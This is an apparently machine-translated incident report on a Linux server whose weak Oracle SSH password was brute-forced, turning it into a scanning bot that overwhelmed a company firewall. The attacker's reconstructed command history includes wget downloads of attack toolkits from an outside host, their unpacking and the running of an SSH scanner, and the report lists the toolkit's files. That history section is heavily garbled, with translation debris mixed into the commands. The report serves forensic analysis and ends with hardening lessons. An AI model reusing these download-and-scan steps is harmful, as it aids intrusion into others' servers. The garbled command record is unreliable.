A full-process record of the fall of Linux server into broiler

1 from the firewall paralysis.

March 10, 2015, not yet the company was called to tell the office can not connect to the Internet, the network is very slow, unable to browse the Web. Rush to feel the company and start looking for problems.

The switch failure was first excluded because the internal LAN is normal. When you ping a firewall device, the packet is severely dropped. Obviously, the firewall is out of the question, can't hold up, its web management interface simply can not log in normally. Immediately contact their service provider remote lookup problem, after nearly 3 hours of analysis, concluded that there are two hosts in the network to send a large number of TCP packets, an instant can cause 400,000 links on the firewall, greatly exceeded the processing capacity of the firewalls, resulting in the inability to respond to normal routing requests. We call these two machines a and Bfor the moment. After disconnecting the two machines, the network was immediately normal, and the number of links on the firewall quickly dropped to normal levels.

Host A is configured as follows:

• Os-redhat Enterprise Linux Server release 6.3
• Deploy software-tomcat,sshd, Oracle
• Ram-4gb
• Cpu-intel Core i3-2130
• IP address-172.16.35.201 (externally mapped to 59.46.161.39)

Host B is the customer hosting host, the specific configuration is unknown.

This article is only for the analysis of host A processing.

Through the firewall command line interface, the catch packet found a machine crazy 22-port scan of a set of IP addresses. Here is the capture result fragment:

Proto=6 TCP tcp_ns_established,status:00001198,left_time:0s,172.16.35.201:39895=====>183.58.99.130:22, packet= 3, bytes=208[reply] 183.58.99.130:22=====>59.46.161.39:39895, packet=0, bytes=0proto=6 TCP TCP_NS_ESTABLISHED, Status:00001198,left_time:0s,172.16.35.201:33967=====>183.58.99.131:22, Packet=3, Bytes=208[REPLY] 183.58.99.131:22=====>59.46.161.39:33967, packet=0, bytes=0proto=6 TCP Tcp_ns_established,status:00001198,left_ Time:0s,172.16.35.201:34117=====>183.58.99.132:22, Packet=3, bytes=208[reply] 183.58.99.132:22=====> 59.46.161.39:34117, packet=0, bytes=0proto=6 TCP tcp_ns_established,status:00001198,left_time:0s, 172.16.35.201:54932=====>183.58.99.125:22, Packet=3, bytes=208[reply] 183.58.99.125:22=====> 59.46.161.39:54932, packet=0, bytes=0proto=6 TCP tcp_ns_established,status:00001198,left_time:0s, 172.16.35.201:60333=====>183.58.99.135:22, Packet=3, bytes=208[reply] 183.58.99.135:22=====> 59.46.161.39:60333, packet=0, bytes=0proto=6 TCP tcp_ns_establIshed,status:00001198,left_time:0s,172.16.35.201:52737=====>183.58.99.136:22, Packet=3, Bytes=208[REPLY] 183.58.99.136:22=====>59.46.161.39:52737, packet=0, bytes=0proto=6 TCP Tcp_ns_established,status:00001198,left_ Time:0s,172.16.35.201:52291=====>183.58.99.137:22, Packet=3, bytes=208[reply] 183.58.99.137:22=====> 59.46.161.39:52291, packet=0, bytes=0proto=6 TCP tcp_ns_established,status:00001198,left_time:0s, 172.16.35.201:46183=====>183.58.99.138:22, Packet=3, bytes=208[reply] 183.58.99.138:22=====> 59.46.161.39:46183, packet=0, bytes=0proto=6 TCP tcp_ns_established,status:00001198,left_time:0s, 172.16.35.201:36864=====>183.58.99.139:22, Packet=3, bytes=208[reply] 183.58.99.139:22=====> 59.46.161.39:36864, packet=0, bytes=0proto=6 TCP tcp_ns_established,status:00001198,left_time:0s, 172.16.35.201:34515=====>183.58.99.133:22, Packet=3, bytes=208[reply] 183.58.99.133:22=====> 59.46.161.39:34515, packet=0, bytes=0proto=6 TCP Tcp_ns_established,status:00001198,lefT_time:0s,172.16.35.201:57121=====>183.58.99.134:22, Packet=3, bytes=208[reply] 183.58.99.134:22=====> 59.46.161.39:57121, packet=0, bytes=0proto=6 TCP tcp_ns_established,status:00001198,left_time:0s, 172.16.35.201:37830=====>183.58.99.140:22, Packet=3, bytes=208[reply] 183.58.99.140:22=====> 59.46.161.39:37830, packet=0, bytes=0proto=6 TCP tcp_ns_established,status:00001198,left_time:0s, 172.16.35.201:42742=====>183.58.99.141:22, Packet=3, bytes=208[reply] 183.58.99.141:22=====> 59.46.161.39:42742, packet=0, bytes=0proto=6 TCP tcp_ns_established,status:00001198,left_time:0s, 172.16.35.201:55018=====>183.58.99.142:22, Packet=3, bytes=208[reply] 183.58.99.142:22=====> 59.46.161.39:55018, packet=0, bytes=0proto=6 TCP tcp_ns_established,status:00001198,left_time:0s, 172.16.35.201:46447=====>183.58.99.143:22, Packet=3, bytes=208[reply] 183.58.99.143:22=====> 59.46.161.39:46447, packet=0, bytes=0proto=6 TCP tcp_ns_established,status:00001198,left_time:0s,172.16.35.201:51039=====>183.58.99.147:22, Packet=3, bytes=208[reply] 183.58.99.147:22=====>59.46.161.39:51039, packet=0, Bytes=0proto=6 TCP tcp_ns_established,status:00001198,left_time:0s,172.16.35.201:33123=====>183.58.99.146:22, Packet=3, bytes=208[reply] 183.58.99.146:22=====>59.46.161.39:33123, packet=0, bytes=0proto=6 TCP TCP_NS_ Established,status:00001198,left_time:0s,172.16.35.201:35956=====>183.58.99.151:22, Packet=3, Bytes=208[REPLY ] 183.58.99.151:22=====>59.46.161.39:35956, packet=0, bytes=0proto=6 TCP tcp_ns_established,status:00001198,left _time:0s,172.16.35.201:45002=====>183.58.99.145:22, Packet=3, bytes=208[reply] 183.58.99.145:22=====> 59.46.161.39:45002, packet=0, bytes=0proto=6 TCP tcp_ns_established,status:00001198,left_time:0s, 172.16.35.201:54711=====>183.58.99.150:22, Packet=3, bytes=208[reply] 183.58.99.150:22=====> 59.46.161.39:54711, packet=0, bytes=0proto=6 TCP tcp_ns_established,status:00001198,left_time:0s, 172.16.35.201:58976=====>183.58.99.155:22, Packet=3, bytes=208[reply] 183.58.99.155:22=====>59.46.161.39:58976, packet=0, bytes=0proto=6 TCP TCP_NS_ Established,status:00001198,left_time:0s,172.16.35.201:37967=====>183.58.99.157:22, Packet=3, Bytes=208[REPLY ] 183.58.99.157:22=====>59.46.161.39:37967, packet=0, bytes=0proto=6 TCP tcp_ns_established,status:00001198,left _time:0s,172.16.35.201:47125=====>183.58.99.158:22, Packet=3, bytes=208[reply] 183.58.99.158:22=====> 59.46.161.39:47125, packet=0, bytes=0proto=6 TCP tcp_ns_established,status:00001198,left_time:0s, 172.16.35.201:35028=====>183.58.99.156:22, Packet=3, bytes=208[reply] 183.58.99.156:22=====> 59.46.161.39:35028, Packet=0, bytes=0

It can be clearly seen that the broiler scanner frantically scans a network segment for 22 ports.

2 ways to find a hacker's whereabouts

For Linux hosts, post-problem analysis and processing is mainly based on logs. /var/log/messages and/var/log/secure are essential analytical targets, and then the. bash_history command is logged. The hacker login host will inevitably leave a record in the log, advanced hackers may be able to delete traces, but most hackers are now using off-the-shelf tools of the black-hearted, and there is not much technical background. The host is open to three TCP listening ports:

• sshd
• Tomcat
• 1521 Oracle

These three services are likely to be vulnerable to attack, the most vulnerable to a scan attack or the SSHD user name password is cracked. So the first analysis/var/log/secure log, see login history.

3 analysis of the fall Process 3.1 Oracle user password is cracked

Analyze the/var/log/secure log. Do not see a scare to see, the log has occupied four files, each file recorded a large number of attempts to log in the situation, execute the command:

cat secure-20150317 | grep ‘Failed password‘ | cut -d " " -f 9,10,11 | sort | uniq

Get
Invalid user admin
Invalid user dacx
Invalid user details3
Invalid user Drishti
Invalid use R ferreluque
Invalid user git
Invalid user Hall
Invalid user Jparksu
Invalid user last
Invalid us ER patrol
Invalid user Paul
Invalid user pgadmin
Invalid user postgres
Invalid user public
Invali D user sauser
Invalid user siginspect
Invalid user SQL
Invalid user support
Invalid user sys
Inva Lid user SysAdmin
Invalid user system
Invalid user Taz
Invalid user test
Invalid user tiptop
Inva Lid user txl5460
Invalid user ubnt
Invalid user www
mysql from 10.10.10.1
Oracle from 10.10.10.1
Root from 10.10.10.1
You can see that the attackers are constantly experimenting with different accounts and passwords. Then find the following 2 lines near the tail, indicating that it was breached.

Mar  9 20:35:30 localhost sshd[30379]: Accepted password for oracle from 10.10.10.1 port 56906 ssh2Mar  9 20:35:30 localhost sshd[30379]: pam_unix(sshd:session): session opened for user oracle by (uid=0)

Visible account Oracle's password is guessed and successfully logged into the system.

3.2 Hacker Action Deduction

Here's a look at what hackers have done with Oracle accounts. a copy of Oracle's command history is first copied to prevent subsequent operations from losing the record.

cp /home/oracle/.bash_history hacker_history

Then look at analyzing this file. I'll comment on the hacker's idea in the back.

    1 vi. bash_profile 2 vi. bash_profile (see. bash_profile, see variable settings, add/home/oracle/bin to Path) 3 LL 4 CD/              5 Vi. bash_profile 6 vi. bash_profile (execution, setting environment variable) 7 W 8 PS x (view system running process) 9 free-m (View memory size) uname-a (view system version) Cat/etc/issue (view system release) Cat/etc/hosts ( See if there is an in-network machine) Cat/proc/cpuinfo (view CPU model) Cat. Bash_history (View Oracle Account History Operations)                    System load) ls-a (view hidden files under/home/oracle/) passwd (Modify the password for the Oracle account) LS-Oracle Sqlplus (running Sqlplus) SU (trying to                Switch to root account) app1123456 (guessing root password) su-26 w free-m-php-v (View PHP Version) exit + free-m + php-v ps aux ls-a/exit + W Notoginseng F Ree-m Php-v 39  Cat Bash_his (View history commands) Max Cat bash_history (cat. Bash_history) wget scriptcoders.ucoz.com/piata.tgz (Download meat   Chicken Attack Package) ZXVF piata.tgz (Decompression package) RM-RF piata.tgz (delete package) (Switch to attack software directory) Ls-a chmod +x */A 210.212 (running attack software) (try to run the screen command and find it without downloading it) S-a Wuyi wget scriptcoders.ucoz.com/screen.tgz tar zxvf screen.tgz (decompression)./screen-Exit-W-P S x piata/CD (Switch to attack software catalog) Ls-a-Cat Vuln.txt (view attack results) ls-a MV Vuln.txt 1  . txt (save attack result)./screen-r 1.txt (view result file) PS x $68 exit/CD Piata PS x ls-a Nano 2.txt, exit, W, PS x, CD piata/75 ls-a cat 2 mv Vuln.txt    . txt (save result) 2.txt X (W) PS × Bayi CD piata/82 ls-a cat vuln.txt rm-rf vuln.txt  /screen-r 86Exit W x PS x CD piata/90 ls-a 94 cat Vuln.txt ls-a 3.txt (save result) Nano 3.txt x 98 CD piata/99 ls-a cat vuln.txt 101 RM-RF vuln.txt 102 E  XIT 103 W 104 PS x ls-a CD piata/106 107 vuln.txt Cat 108 RM-RF vuln.txt 109 rm-rf 1.txt RM -RF 2.txt 111 rm-rf 2.txt.save, RM-RF 3.txt 113 screen-r./screen-r, Exit, W 117 PS x 1   CD piata/119 ls-a cat vuln.txt 121 ls-a 122 Nano vuln.txt 123 RM-RF vuln.txt 124 Screen-r 125  ./screen-r 126 Exit 127 w PS x 129 cd piata/130 ls-a 131 cat Vuln.txt-Nano vuln.txt 133 W  134 Ls-a 135 RM-RF vuln.txt 136 screen-r 137./screen-r 138 Exit 139 W PS x 141 CD piata/142 ls   -A 143 cat Vuln.txt 144 RM-RF vuln.txt 145 ps x 146 ls-a 147./screen-r 148 Exit 149 W-PS x 151 CD piata/152 Ls-a 153 Cat Vuln.txt 154 Nano vuln.txt 155 W 156 rm-rf vuln.txt 157./screen-r 158 Exit 

3.3 Attack tools at a glance

From the previous command history, you can see that the attack tool package is named Piata. Download to see how it looks.

[[email protected] piata]# lltotal 1708-rw-r--r--. 1 oracle oinstall      0 Mar 10 13:01 183.63.pscan.22-rwxr-xr-x. 1 oracle oinstall    659 Feb  2  2008 a-rwxr-xr-x. 1 oracle oinstall    216 May 18  2005 auto-rwxr-xr-x. 1 oracle oinstall    283 Nov 25  2004 gen-pass.sh-rwxr-xr-x. 1 oracle oinstall     93 Apr 19  2005 go.sh-rwxr-xr-x. 1 oracle oinstall   3253 Mar  5  2007 mass-rwxr-xr-x. 1 oracle oinstall  12671 May 18  2008 pass_file-rwxr-xr-x. 1 oracle oinstall  21407 Jul 22  2004 pscan2-rwxr-xr-x. 1 oracle oinstall 249980 Feb 13  2001 screen-rw-r--r--. 1 oracle oinstall 130892 Feb  3  2010 screen.tgz-rwxr-xr-x. 1 oracle oinstall 453972 Jul 13  2004 ss-rwxr-xr-x. 1 oracle oinstall 842736 Nov 24  2004 ssh-scan-rw-r--r--. 1 oracle oinstall   2392 Mar 10 05:03 vuln.txt

Where a, auto, go.sh gen-pass.sh, are bash script files that are used to configure the scan segment to invoke the scanner. Pscan2 and Ssh-scan are scanning programs. Vuln.txt records the list of chickens obtained.

No other system files have been found to be hacked, and there is no automatic setting to run the attack software.

4 Deep lessons

Although this attack machine is only a test host, its own importance is not high, but it caused the firewall is paralyzed, resulting in the Internet is not normal access. In this regard, it must be given sufficient attention and lessons learnt from it.

• The SYSTEM account password must have a certain degree of complexity. This attack was due to the simplistic simplicity of the Oracle account password.
• sshd is risky to login with passwords, especially when passwords are simple. If possible, turn off the password mode as much as possible and use the public key mode instead.
• As the data Center administrator, must supervise the system administrator and the software developer's service security, this attack host is to put all authority to the website development company, but the development company does not attach importance to the operation security.

The above is the case of host A , host B for our hosted customer host, I do not have administrative authority, is currently waiting for their inspection modification report.

A full-process record of the fall of Linux server into broiler